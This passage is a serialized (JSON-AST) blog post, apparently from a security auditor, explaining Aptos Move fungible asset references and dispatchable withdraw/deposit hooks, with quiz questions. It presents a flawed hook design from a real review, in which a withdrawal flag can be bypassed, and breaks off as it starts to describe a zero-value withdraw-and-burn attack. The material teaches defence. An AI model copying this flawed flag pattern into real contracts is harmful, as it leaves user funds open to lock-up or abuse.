hence ownership transfer.\n",{"type":23,"tag":134,"props":65089,"children":65090},{"class":136,"line":147},[65091,65095,65100,65104,65109,65113,65117],{"type":23,"tag":134,"props":65092,"children":65093},{"style":151},[65094],{"type":28,"value":8864},{"type":23,"tag":134,"props":65096,"children":65097},{"style":597},[65098],{"type":28,"value":65099}," TransferRef",{"type":23,"tag":134,"props":65101,"children":65102},{"style":162},[65103],{"type":28,"value":8873},{"type":23,"tag":134,"props":65105,"children":65106},{"style":162},[65107],{"type":28,"value":65108}," drop",{"type":23,"tag":134,"props":65110,"children":65111},{"style":179},[65112],{"type":28,"value":242},{"type":23,"tag":134,"props":65114,"children":65115},{"style":162},[65116],{"type":28,"value":5397},{"type":23,"tag":134,"props":65118,"children":65119},{"style":179},[65120],{"type":28,"value":463},{"type":23,"tag":134,"props":65122,"children":65123},{"class":136,"line":185},[65124,65128,65132,65136],{"type":23,"tag":134,"props":65125,"children":65126},{"style":151},[65127],{"type":28,"value":20264},{"type":23,"tag":134,"props":65129,"children":65130},{"style":168},[65131],{"type":28,"value":1697},{"type":23,"tag":134,"props":65133,"children":65134},{"style":162},[65135],{"type":28,"value":5707},{"type":23,"tag":134,"props":65137,"children":65138},{"style":179},[65139],{"type":28,"value":687},{"type":23,"tag":134,"props":65141,"children":65142},{"class":136,"line":221},[65143],{"type":23,"tag":134,"props":65144,"children":65145},{"style":179},[65146],{"type":28,"value":1098},{"type":23,"tag":24,"props":65148,"children":65149},{},[65150,65152,65157],{"type":28,"value":65151},"While the fungible asset's ",{"type":23,"tag":92,"props":65153,"children":65155},{"className":65154},[],[65156],{"type":28,"value":64933},{"type":28,"value":65158}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":87,"props":65160,"children":65162},{"className":128,"code":65161,"language":127,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[65163],{"type":23,"tag":92,"props":65164,"children":65165},{"__ignoreMap":7},[65166,65174,65182,65213,65240],{"type":23,"tag":134,"props":65167,"children":65168},{"class":136,"line":137},[65169],{"type":23,"tag":134,"props":65170,"children":65171},{"style":141},[65172],{"type":28,"value":65173},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":134,"props":65175,"children":65176},{"class":136,"line":147},[65177],{"type":23,"tag":134,"props":65178,"children":65179},{"style":141},[65180],{"type":28,"value":65181},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":134,"props":65183,"children":65184},{"class":136,"line":185},[65185,65189,65193,65197,65201,65205,65209],{"type":23,"tag":134,"props":65186,"children":65187},{"style":151},[65188],{"type":28,"value":8864},{"type":23,"tag":134,"props":65190,"children":65191},{"style":597},[65192],{"type":28,"value":65099},{"type":23,"tag":134,"props":65194,"children":65195},{"style":162},[65196],{"type":28,"value":8873},{"type":23,"tag":134,"props":65198,"children":65199},{"style":162},[65200],{"type":28,"value":65108},{"type":23,"tag":134,"props":65202,"children":65203},{"style":179},[65204],{"type":28,"value":242},{"type":23,"tag":134,"props":65206,"children":65207},{"style":162},[65208],{"type":28,"value":5397},{"type":23,"tag":134,"props":65210,"children":65211},{"style":179},[65212],{"type":28,"value":463},{"type":23,"tag":134,"props":65214,"children":65215},{"class":136,"line":221},[65216,65220,65224,65228,65232,65236],{"type":23,"tag":134,"props":65217,"children":65218},{"style":162},[65219],{"type":28,"value":61060},{"type":23,"tag":134,"props":65221,"children":65222},{"style":168},[65223],{"type":28,"value":1697},{"type":23,"tag":134,"props":65225,"children":65226},{"style":597},[65227],{"type":28,"value":61069},{"type":23,"tag":134,"props":65229,"children":65230},{"style":179},[65231],{"type":28,"value":5262},{"type":23,"tag":134,"props":65233,"children":65234},{"style":597},[65235],{"type":28,"value":61078},{"type":23,"tag":134,"props":65237,"children":65238},{"style":179},[65239],{"type":28,"value":5449},{"type":23,"tag":134,"props":65241,"children":65242},{"class":136,"line":332},[65243],{"type":23,"tag":134,"props":65244,"children":65245},{"style":179},[65246],{"type":28,"value":1098},{"type":23,"tag":24,"props":65248,"children":65249},{},[65250,65252,65258,65260,65266],{"type":28,"value":65251},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":92,"props":65253,"children":65255},{"className":65254},[],[65256],{"type":28,"value":65257},"MintRef",{"type":28,"value":65259}," for minting and ",{"type":23,"tag":92,"props":65261,"children":65263},{"className":65262},[],[65264],{"type":28,"value":65265},"BurnRef",{"type":28,"value":65267}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":61,"props":65269,"children":65271},{"id":65270},"dispatchable-fungible-assets",[65272],{"type":28,"value":65273},"Dispatchable fungible assets",{"type":23,"tag":24,"props":65275,"children":65276},{},[65277],{"type":28,"value":65278},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":24,"props":65280,"children":65281},{},[65282],{"type":28,"value":65283},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":65285,"props":65286,"children":65287},"warning",{},[65288],{"type":23,"tag":24,"props":65289,"children":65290},{},[65291,65293,65299],{"type":28,"value":65292},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":92,"props":65294,"children":65296},{"className":65295},[],[65297],{"type":28,"value":65298},"transfer_assert_minimum_deposit",{"type":28,"value":65300}," that can help mitigate such risks.",{"type":23,"tag":24,"props":65302,"children":65303},{},[65304,65306,65311,65313,65320],{"type":28,"value":65305},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":92,"props":65307,"children":65309},{"className":65308},[],[65310],{"type":28,"value":61183},{"type":28,"value":65312}," to ensure ",{"type":23,"tag":31,"props":65314,"children":65317},{"href":65315,"rel":65316},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[35],[65318],{"type":28,"value":65319},"their signature remains immutable",{"type":28,"value":65321},". An example implementation might look like this:",{"type":23,"tag":87,"props":65323,"children":65325},{"className":128,"code":65324,"language":127,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[65326],{"type":23,"tag":92,"props":65327,"children":65328},{"__ignoreMap":7},[65329,65365,65392,65411,65435,65454,65462,65508,65515,65522,65558,65585,65605,65628,65635,65642,65686],{"type":23,"tag":134,"props":65330,"children":65331},{"class":136,"line":137},[65332,65336,65340,65345,65349,65353,65357,65361],{"type":23,"tag":134,"props":65333,"children":65334},{"style":162},[65335],{"type":28,"value":61183},{"type":23,"tag":134,"props":65337,"children":65338},{"style":162},[65339],{"type":28,"value":5664},{"type":23,"tag":134,"props":65341,"children":65342},{"style":162},[65343],{"type":28,"value":65344}," withdraw_hook",{"type":23,"tag":134,"props":65346,"children":65347},{"style":179},[65348],{"type":28,"value":5262},{"type":23,"tag":134,"props":65350,"children":65351},{"style":597},[65352],{"type":28,"value":5444},{"type":23,"tag":134,"props":65354,"children":65355},{"style":168},[65356],{"type":28,"value":1697},{"type":23,"tag":134,"props":65358,"children":65359},{"style":162},[65360],{"type":28,"value":5388},{"type":23,"tag":134,"props":65362,"children":65363},{"style":179},[65364],{"type":28,"value":6046},{"type":23,"tag":134,"props":65366,"children":65367},{"class":136,"line":147},[65368,65372,65376,65380,65384,65388],{"type":23,"tag":134,"props":65369,"children":65370},{"style":162},[65371],{"type":28,"value":28907},{"type":23,"tag":134,"props":65373,"children":65374},{"style":168},[65375],{"type":28,"value":1697},{"type":23,"tag":134,"props":65377,"children":65378},{"style":597},[65379],{"type":28,"value":61069},{"type":23,"tag":134,"props":65381,"children":65382},{"style":179},[65383],{"type":28,"value":5262},{"type":23,"tag":134,"props":65385,"children":65386},{"style":597},[65387],{"type":28,"value":5444},{"type":23,"tag":134,"props":65389,"children":65390},{"style":179},[65391],{"type":28,"value":5595},{"type":23,"tag":134,"props":65393,"children":65394},{"class":136,"line":185},[65395,65399,65403,65407],{"type":23,"tag":134,"props":65396,"children":65397},{"style":162},[65398],{"type":28,"value":61090},{"type":23,"tag":134,"props":65400,"children":65401},{"style":168},[65402],{"type":28,"value":1697},{"type":23,"tag":134,"props":65404,"children":65405},{"style":597},[65406],{"type":28,"value":5316},{"type":23,"tag":134,"props":65408,"children":65409},{"style":179},[65410],{"type":28,"value":687},{"type":23,"tag":134,"props":65412,"children":65413},{"class":136,"line":221},[65414,65419,65423,65427,65431],{"type":23,"tag":134,"props":65415,"children":65416},{"style":162},[65417],{"type":28,"value":65418},"    transfer_ref",{"type":23,"tag":134,"props":65420,"children":65421},{"style":168},[65422],{"type":28,"value":1697},{"type":23,"tag":134,"props":65424,"children":65425},{"style":168},[65426],{"type":28,"value":6599},{"type":23,"tag":134,"props":65428,"children":65429},{"style":597},[65430],{"type":28,"value":64933},{"type":23,"tag":134,"props":65432,"children":65433},{"style":179},[65434],{"type":28,"value":687},{"type":23,"tag":134,"props":65436,"children":65437},{"class":136,"line":332},[65438,65442,65446,65450],{"type":23,"tag":134,"props":65439,"children":65440},{"style":179},[65441],{"type":28,"value":296},{"type":23,"tag":134,"props":65443,"children":65444},{"style":168},[65445],{"type":28,"value":1697},{"type":23,"tag":134,"props":65447,"children":65448},{"style":597},[65449],{"type":28,"value":61048},{"type":23,"tag":134,"props":65451,"children":65452},{"style":179},[65453],{"type":28,"value":463},{"type":23,"tag":134,"props":65455,"children":65456},{"class":136,"line":438},[65457],{"type":23,"tag":134,"props":65458,"children":65459},{"style":141},[65460],{"type":28,"value":65461},"    //check paused, gather fees etc.\n",{"type":23,"tag":134,"props":65463,"children":65464},{"class":136,"line":466},[65465,65470,65474,65479,65483,65488,65492,65496,65500,65504],{"type":23,"tag":134,"props":65466,"children":65467},{"style":179},[65468],{"type":28,"value":65469},"    fungible_asset",{"type":23,"tag":134,"props":65471,"children":65472},{"style":168},[65473],{"type":28,"value":660},{"type":23,"tag":134,"props":65475,"children":65476},{"style":264},[65477],{"type":28,"value":65478},"withdraw_with_ref",{"type":23,"tag":134,"props":65480,"children":65481},{"style":179},[65482],{"type":28,"value":272},{"type":23,"tag":134,"props":65484,"children":65485},{"style":162},[65486],{"type":28,"value":65487},"transfer_ref",{"type":23,"tag":134,"props":65489,"children":65490},{"style":179},[65491],{"type":28,"value":242},{"type":23,"tag":134,"props":65493,"children":65494},{"style":162},[65495],{"type":28,"value":5397},{"type":23,"tag":134,"props":65497,"children":65498},{"style":179},[65499],{"type":28,"value":242},{"type":23,"tag":134,"props":65501,"children":65502},{"style":162},[65503],{"type":28,"value":19784},{"type":23,"tag":134,"props":65505,"children":65506},{"style":179},[65507],{"type":28,"value":329},{"type":23,"tag":134,"props":65509,"children":65510},{"class":136,"line":479},[65511],{"type":23,"tag":134,"props":65512,"children":65513},{"style":179},[65514],{"type":28,"value":1098},{"type":23,"tag":134,"props":65516,"children":65517},{"class":136,"line":497},[65518],{"type":23,"tag":134,"props":65519,"children":65520},{"emptyLinePlaceholder":15},[65521],{"type":28,"value":865},{"type":23,"tag":134,"props":65523,"children":65524},{"class":136,"line":518},[65525,65529,65533,65538,65542,65546,65550,65554],{"type":23,"tag":134,"props":65526,"children":65527},{"style":162},[65528],{"type":28,"value":61183},{"type":23,"tag":134,"props":65530,"children":65531},{"style":162},[65532],{"type":28,"value":5664},{"type":23,"tag":134,"props":65534,"children":65535},{"style":162},[65536],{"type":28,"value":65537}," deposit_hook",{"type":23,"tag":134,"props":65539,"children":65540},{"style":179},[65541],{"type":28,"value":5262},{"type":23,"tag":134,"props":65543,"children":65544},{"style":597},[65545],{"type":28,"value":5444},{"type":23,"tag":134,"props":65547,"children":65548},{"style":168},[65549],{"type":28,"value":1697},{"type":23,"tag":134,"props":65551,"children":65552},{"style":162},[65553],{"type":28,"value":5388},{"type":23,"tag":134,"props":65555,"children":65556},{"style":179},[65557],{"type":28,"value":6046},{"type":23,"tag":134,"props":65559,"children":65560},{"class":136,"line":527},[65561,65565,65569,65573,65577,65581],{"type":23,"tag":134,"props":65562,"children":65563},{"style":162},[65564],{"type":28,"value":28907},{"type":23,"tag":134,"props":65566,"children":65567},{"style":168},[65568],{"type":28,"value":1697},{"type":23,"tag":134,"props":65570,"children":65571},{"style":597},[65572],{"type":28,"value":61069},{"type":23,"tag":134,"props":65574,"children":65575},{"style":179},[65576],{"type":28,"value":5262},{"type":23,"tag":134,"props":65578,"children":65579},{"style":597},[65580],{"type":28,"value":5444},{"type":23,"tag":134,"props":65582,"children":65583},{"style":179},[65584],{"type":28,"value":5595},{"type":23,"tag":134,"props":65586,"children":65587},{"class":136,"line":780},[65588,65593,65597,65601],{"type":23,"tag":134,"props":65589,"children":65590},{"style":162},[65591],{"type":28,"value":65592},"    fa",{"type":23,"tag":134,"props":65594,"children":65595},{"style":168},[65596],{"type":28,"value":1697},{"type":23,"tag":134,"props":65598,"children":65599},{"style":597},[65600],{"type":28,"value":61048},{"type":23,"tag":134,"props":65602,"children":65603},{"style":179},[65604],{"type":28,"value":687},{"type":23,"tag":134,"props":65606,"children":65607},{"class":136,"line":797},[65608,65612,65616,65620,65624],{"type":23,"tag":134,"props":65609,"children":65610},{"style":162},[65611],{"type":28,"value":65418},{"type":23,"tag":134,"props":65613,"children":65614},{"style":168},[65615],{"type":28,"value":1697},{"type":23,"tag":134,"props":65617,"children":65618},{"style":168},[65619],{"type":28,"value":6599},{"type":23,"tag":134,"props":65621,"children":65622},{"style":597},[65623],{"type":28,"value":64933},{"type":23,"tag":134,"props":65625,"children":65626},{"style":179},[65627],{"type":28,"value":687},{"type":23,"tag":134,"props":65629,"children":65630},{"class":136,"line":814},[65631],{"type":23,"tag":134,"props":65632,"children":65633},{"style":179},[65634],{"type":28,"value":14272},{"type":23,"tag":134,"props":65636,"children":65637},{"class":136,"line":827},[65638],{"type":23,"tag":134,"props":65639,"children":65640},{"style":141},[65641],{"type":28,"value":65461},{"type":23,"tag":134,"props":65643,"children":65644},{"class":136,"line":836},[65645,65649,65653,65658,65662,65666,65670,65674,65678,65682],{"type":23,"tag":134,"props":65646,"children":65647},{"style":179},[65648],{"type":28,"value":65469},{"type":23,"tag":134,"props":65650,"children":65651},{"style":168},[65652],{"type":28,"value":660},{"type":23,"tag":134,"props":65654,"children":65655},{"style":264},[65656],{"type":28,"value":65657},"deposit_with_ref",{"type":23,"tag":134,"props":65659,"children":65660},{"style":179},[65661],{"type":28,"value":272},{"type":23,"tag":134,"props":65663,"children":65664},{"style":162},[65665],{"type":28,"value":65487},{"type":23,"tag":134,"props":65667,"children":65668},{"style":179},[65669],{"type":28,"value":242},{"type":23,"tag":134,"props":65671,"children":65672},{"style":162},[65673],{"type":28,"value":5397},{"type":23,"tag":134,"props":65675,"children":65676},{"style":179},[65677],{"type":28,"value":242},{"type":23,"tag":134,"props":65679,"children":65680},{"style":162},[65681],{"type":28,"value":61241},{"type":23,"tag":134,"props":65683,"children":65684},{"style":179},[65685],{"type":28,"value":1021},{"type":23,"tag":134,"props":65687,"children":65688},{"class":136,"line":859},[65689],{"type":23,"tag":134,"props":65690,"children":65691},{"style":179},[65692],{"type":28,"value":1098},{"type":23,"tag":65694,"props":65695,"children":65696},"question",{},[65697,65724],{"type":23,"tag":24,"props":65698,"children":65699},{},[65700,65702,65708,65710,65716,65717,65723],{"type":28,"value":65701},"Why hook functions rely on ",{"type":23,"tag":92,"props":65703,"children":65705},{"className":65704},[],[65706],{"type":28,"value":65707},"*_with_ref",{"type":28,"value":65709}," calls? What would happen if the hook function called ",{"type":23,"tag":92,"props":65711,"children":65713},{"className":65712},[],[65714],{"type":28,"value":65715},"dispatchable_fungible_asset::withdraw",{"type":28,"value":16265},{"type":23,"tag":92,"props":65718,"children":65720},{"className":65719},[],[65721],{"type":28,"value":65722},"fungible_asset::withdraw_with_ref",{"type":28,"value":324},{"type":23,"tag":65725,"props":65726,"children":65727},"template",{"v-slot:answer-0":7},[65728,65740],{"type":23,"tag":24,"props":65729,"children":65730},{},[65731,65733,65738],{"type":28,"value":65732},"A1: Hook functions rely on ",{"type":23,"tag":92,"props":65734,"children":65736},{"className":65735},[],[65737],{"type":28,"value":65707},{"type":28,"value":65739}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":24,"props":65741,"children":65742},{},[65743,65745,65750],{"type":28,"value":65744},"A2: A ",{"type":23,"tag":92,"props":65746,"children":65748},{"className":65747},[],[65749],{"type":28,"value":65715},{"type":28,"value":65751}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":24,"props":65753,"children":65754},{},[65755],{"type":28,"value":65756},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":87,"props":65758,"children":65760},{"className":128,"code":65759,"language":127,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[65761],{"type":23,"tag":92,"props":65762,"children":65763},{"__ignoreMap":7},[65764,65859,65879,65894,65914,65957,65972,65979,65986,66105,66124,66139,66158,66201],{"type":23,"tag":134,"props":65765,"children":65766},{"class":136,"line":137},[65767,65771,65775,65779,65783,65787,65791,65795,65799,65803,65807,65811,65815,65819,65823,65827,65831,65835,65839,65843,65847,65851,65855],{"type":23,"tag":134,"props":65768,"children":65769},{"style":162},[65770],{"type":28,"value":61183},{"type":23,"tag":134,"props":65772,"children":65773},{"style":162},[65774],{"type":28,"value":5664},{"type":23,"tag":134,"props":65776,"children":65777},{"style":162},[65778],{"type":28,"value":61192},{"type":23,"tag":134,"props":65780,"children":65781},{"style":179},[65782],{"type":28,"value":5262},{"type":23,"tag":134,"props":65784,"children":65785},{"style":597},[65786],{"type":28,"value":5444},{"type":23,"tag":134,"props":65788,"children":65789},{"style":168},[65790],{"type":28,"value":1697},{"type":23,"tag":134,"props":65792,"children":65793},{"style":162},[65794],{"type":28,"value":5388},{"type":23,"tag":134,"props":65796,"children":65797},{"style":179},[65798],{"type":28,"value":7069},{"type":23,"tag":134,"props":65800,"children":65801},{"style":162},[65802],{"type":28,"value":5397},{"type":23,"tag":134,"props":65804,"children":65805},{"style":168},[65806],{"type":28,"value":1697},{"type":23,"tag":134,"props":65808,"children":65809},{"style":597},[65810],{"type":28,"value":61069},{"type":23,"tag":134,"props":65812,"children":65813},{"style":179},[65814],{"type":28,"value":5262},{"type":23,"tag":134,"props":65816,"children":65817},{"style":597},[65818],{"type":28,"value":5444},{"type":23,"tag":134,"props":65820,"children":65821},{"style":179},[65822],{"type":28,"value":6088},{"type":23,"tag":134,"props":65824,"children":65825},{"style":162},[65826],{"type":28,"value":61241},{"type":23,"tag":134,"props":65828,"children":65829},{"style":168},[65830],{"type":28,"value":1697},{"type":23,"tag":134,"props":65832,"children":65833},{"style":597},[65834],{"type":28,"value":61048},{"type":23,"tag":134,"props":65836,"children":65837},{"style":179},[65838],{"type":28,"value":242},{"type":23,"tag":134,"props":65840,"children":65841},{"style":162},[65842],{"type":28,"value":65487},{"type":23,"tag":134,"props":65844,"children":65845},{"style":168},[65846],{"type":28,"value":1697},{"type":23,"tag":134,"props":65848,"children":65849},{"style":168},[65850],{"type":28,"value":6599},{"type":23,"tag":134,"props":65852,"children":65853},{"style":597},[65854],{"type":28,"value":64933},{"type":23,"tag":134,"props":65856,"children":65857},{"style":179},[65858],{"type":28,"value":14272},{"type":23,"tag":134,"props":65860,"children":65861},{"class":136,"line":147},[65862,65867,65871,65875],{"type":23,"tag":134,"props":65863,"children":65864},{"style":264},[65865],{"type":28,"value":65866},"    assert_withdraw_flag",{"type":23,"tag":134,"props":65868,"children":65869},{"style":179},[65870],{"type":28,"value":272},{"type":23,"tag":134,"props":65872,"children":65873},{"style":151},[65874],{"type":28,"value":1195},{"type":23,"tag":134,"props":65876,"children":65877},{"style":179},[65878],{"type":28,"value":1021},{"type":23,"tag":134,"props":65880,"children":65881},{"class":136,"line":185},[65882,65886,65890],{"type":23,"tag":134,"props":65883,"children":65884},{"style":179},[65885],{"type":28,"value":62226},{"type":23,"tag":134,"props":65887,"children":65888},{"style":168},[65889],{"type":28,"value":9054},{"type":23,"tag":134,"props":65891,"children":65892},{"style":179},[65893],{"type":28,"value":11239},{"type":23,"tag":134,"props":65895,"children":65896},{"class":136,"line":221},[65897,65902,65906,65910],{"type":23,"tag":134,"props":65898,"children":65899},{"style":264},[65900],{"type":28,"value":65901},"    set_withdraw_flag",{"type":23,"tag":134,"props":65903,"children":65904},{"style":179},[65905],{"type":28,"value":272},{"type":23,"tag":134,"props":65907,"children":65908},{"style":151},[65909],{"type":28,"value":7634},{"type":23,"tag":134,"props":65911,"children":65912},{"style":179},[65913],{"type":28,"value":1021},{"type":23,"tag":134,"props":65915,"children":65916},{"class":136,"line":332},[65917,65921,65925,65929,65933,65937,65941,65945,65949,65953],{"type":23,"tag":134,"props":65918,"children":65919},{"style":179},[65920],{"type":28,"value":65469},{"type":23,"tag":134,"props":65922,"children":65923},{"style":168},[65924],{"type":28,"value":660},{"type":23,"tag":134,"props":65926,"children":65927},{"style":264},[65928],{"type":28,"value":65657},{"type":23,"tag":134,"props":65930,"children":65931},{"style":179},[65932],{"type":28,"value":272},{"type":23,"tag":134,"props":65934,"children":65935},{"style":162},[65936],{"type":28,"value":65487},{"type":23,"tag":134,"props":65938,"children":65939},{"style":179},[65940],{"type":28,"value":242},{"type":23,"tag":134,"props":65942,"children":65943},{"style":162},[65944],{"type":28,"value":5397},{"type":23,"tag":134,"props":65946,"children":65947},{"style":179},[65948],{"type":28,"value":242},{"type":23,"tag":134,"props":65950,"children":65951},{"style":162},[65952],{"type":28,"value":19784},{"type":23,"tag":134,"props":65954,"children":65955},{"style":179},[65956],{"type":28,"value":1021},{"type":23,"tag":134,"props":65958,"children":65959},{"class":136,"line":438},[65960,65964,65968],{"type":23,"tag":134,"props":65961,"children":65962},{"style":179},[65963],{"type":28,"value":62226},{"type":23,"tag":134,"props":65965,"children":65966},{"style":168},[65967],{"type":28,"value":9054},{"type":23,"tag":134,"props":65969,"children":65970},{"style":179},[65971],{"type":28,"value":11239},{"type":23,"tag":134,"props":65973,"children":65974},{"class":136,"line":466},[65975],{"type":23,"tag":134,"props":65976,"children":65977},{"style":179},[65978],{"type":28,"value":533},{"type":23,"tag":134,"props":65980,"children":65981},{"class":136,"line":479},[65982],{"type":23,"tag":134,"props":65983,"children":65984},{"emptyLinePlaceholder":15},[65985],{"type":28,"value":865},{"type":23,"tag":134,"props":65987,"children":65988},{"class":136,"line":497},[65989,65993,65997,66001,66005,66009,66013,66017,66021,66025,66029,66033,66037,66041,66045,66049,66053,66057,66061,66065,66069,66073,66077,66081,66085,66089,66093,66097,66101],{"type":23,"tag":134,"props":65990,"children":65991},{"style":162},[65992],{"type":28,"value":61183},{"type":23,"tag":134,"props":65994,"children":65995},{"style":162},[65996],{"type":28,"value":5664},{"type":23,"tag":134,"props":65998,"children":65999},{"style":162},[66000],{"type":28,"value":19749},{"type":23,"tag":134,"props":66002,"children":66003},{"style":179},[66004],{"type":28,"value":5262},{"type":23,"tag":134,"props":66006,"children":66007},{"style":597},[66008],{"type":28,"value":5444},{"type":23,"tag":134,"props":66010,"children":66011},{"style":168},[66012],{"type":28,"value":1697},{"type":23,"tag":134,"props":66014,"children":66015},{"style":162},[66016],{"type":28,"value":5388},{"type":23,"tag":134,"props":66018,"children":66019},{"style":179},[66020],{"type":28,"value":7069},{"type":23,"tag":134,"props":66022,"children":66023},{"style":162},[66024],{"type":28,"value":5397},{"type":23,"tag":134,"props":66026,"children":66027},{"style":168},[66028],{"type":28,"value":1697},{"type":23,"tag":134,"props":66030,"children":66031},{"style":597},[66032],{"type":28,"value":61069},{"type":23,"tag":134,"props":66034,"children":66035},{"style":179},[66036],{"type":28,"value":5262},{"type":23,"tag":134,"props":66038,"children":66039},{"style":597},[66040],{"type":28,"value":5444},{"type":23,"tag":134,"props":66042,"children":66043},{"style":179},[66044],{"type":28,"value":6088},{"type":23,"tag":134,"props":66046,"children":66047},{"style":162},[66048],{"type":28,"value":19784},{"type":23,"tag":134,"props":66050,"children":66051},{"style":168},[66052],{"type":28,"value":1697},{"type":23,"tag":134,"props":66054,"children":66055},{"style":597},[66056],{"type":28,"value":5316},{"type":23,"tag":134,"props":66058,"children":66059},{"style":179},[66060],{"type":28,"value":242},{"type":23,"tag":134,"props":66062,"children":66063},{"style":162},[66064],{"type":28,"value":65487},{"type":23,"tag":134,"props":66066,"children":66067},{"style":168},[66068],{"type":28,"value":1697},{"type":23,"tag":134,"props":66070,"children":66071},{"style":168},[66072],{"type":28,"value":6599},{"type":23,"tag":134,"props":66074,"children":66075},{"style":597},[66076],{"type":28,"value":64933},{"type":23,"tag":134,"props":66078,"children":66079},{"style":179},[66080],{"type":28,"value":296},{"type":23,"tag":134,"props":66082,"children":66083},{"style":168},[66084],{"type":28,"value":1697},{"type":23,"tag":134,"props":66086,"children":66087},{"style":597},[66088],{"type":28,"value":61048},{"type":23,"tag":134,"props":66090,"children":66091},{"style":162},[66092],{"type":28,"value":7025},{"type":23,"tag":134,"props":66094,"children":66095},{"style":179},[66096],{"type":28,"value":22511},{"type":23,"tag":134,"props":66098,"children":66099},{"style":168},[66100],{"type":28,"value":9054},{"type":23,"tag":134,"props":66102,"children":66103},{"style":179},[66104],{"type":28,"value":61274},{"type":23,"tag":134,"props":66106,"children":66107},{"class":136,"line":518},[66108,66112,66116,66120],{"type":23,"tag":134,"props":66109,"children":66110},{"style":264},[66111],{"type":28,"value":65866},{"type":23,"tag":134,"props":66113,"children":66114},{"style":179},[66115],{"type":28,"value":272},{"type":23,"tag":134,"props":66117,"children":66118},{"style":151},[66119],{"type":28,"value":7634},{"type":23,"tag":134,"props":66121,"children":66122},{"style":179},[66123],{"type":28,"value":1021},{"type":23,"tag":134,"props":66125,"children":66126},{"class":136,"line":527},[66127,66131,66135],{"type":23,"tag":134,"props":66128,"children":66129},{"style":179},[66130],{"type":28,"value":62226},{"type":23,"tag":134,"props":66132,"children":66133},{"style":168},[66134],{"type":28,"value":9054},{"type":23,"tag":134,"props":66136,"children":66137},{"style":179},[66138],{"type":28,"value":11239},{"type":23,"tag":134,"props":66140,"children":66141},{"class":136,"line":780},[66142,66146,66150,66154],{"type":23,"tag":134,"props":66143,"children":66144},{"style":264},[66145],{"type":28,"value":65901},{"type":23,"tag":134,"props":66147,"children":66148},{"style":179},[66149],{"type":28,"value":272},{"type":23,"tag":134,"props":66151,"children":66152},{"style":151},[66153],{"type":28,"value":1195},{"type":23,"tag":134,"props":66155,"children":66156},{"style":179},[66157],{"type":28,"value":1021},{"type":23,"tag":134,"props":66159,"children":66160},{"class":136,"line":797},[66161,66165,66169,66173,66177,66181,66185,66189,66193,66197],{"type":23,"tag":134,"props":66162,"children":66163},{"style":179},[66164],{"type":28,"value":65469},{"type":23,"tag":134,"props":66166,"children":66167},{"style":168},[66168],{"type":28,"value":660},{"type":23,"tag":134,"props":66170,"children":66171},{"style":264},[66172],{"type":28,"value":65478},{"type":23,"tag":134,"props":66174,"children":66175},{"style":179},[66176],{"type":28,"value":272},{"type":23,"tag":134,"props":66178,"children":66179},{"style":162},[66180],{"type":28,"value":65487},{"type":23,"tag":134,"props":66182,"children":66183},{"style":179},[66184],{"type":28,"value":242},{"type":23,"tag":134,"props":66186,"children":66187},{"style":162},[66188],{"type":28,"value":5397},{"type":23,"tag":134,"props":66190,"children":66191},{"style":179},[66192],{"type":28,"value":242},{"type":23,"tag":134,"props":66194,"children":66195},{"style":162},[66196],{"type":28,"value":19784},{"type":23,"tag":134,"props":66198,"children":66199},{"style":179},[66200],{"type":28,"value":329},{"type":23,"tag":134,"props":66202,"children":66203},{"class":136,"line":814},[66204],{"type":23,"tag":134,"props":66205,"children":66206},{"style":179},[66207],{"type":28,"value":1098},{"type":23,"tag":24,"props":66209,"children":66210},{},[66211],{"type":28,"value":66212},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":65694,"props":66214,"children":66215},{},[66216,66221],{"type":23,"tag":24,"props":66217,"children":66218},{},[66219],{"type":28,"value":66220},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":65725,"props":66222,"children":66223},{"v-slot:answer-0":7},[66224,66244],{"type":23,"tag":24,"props":66225,"children":66226},{},[66227,66229,66234,66236,66242],{"type":28,"value":66228},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 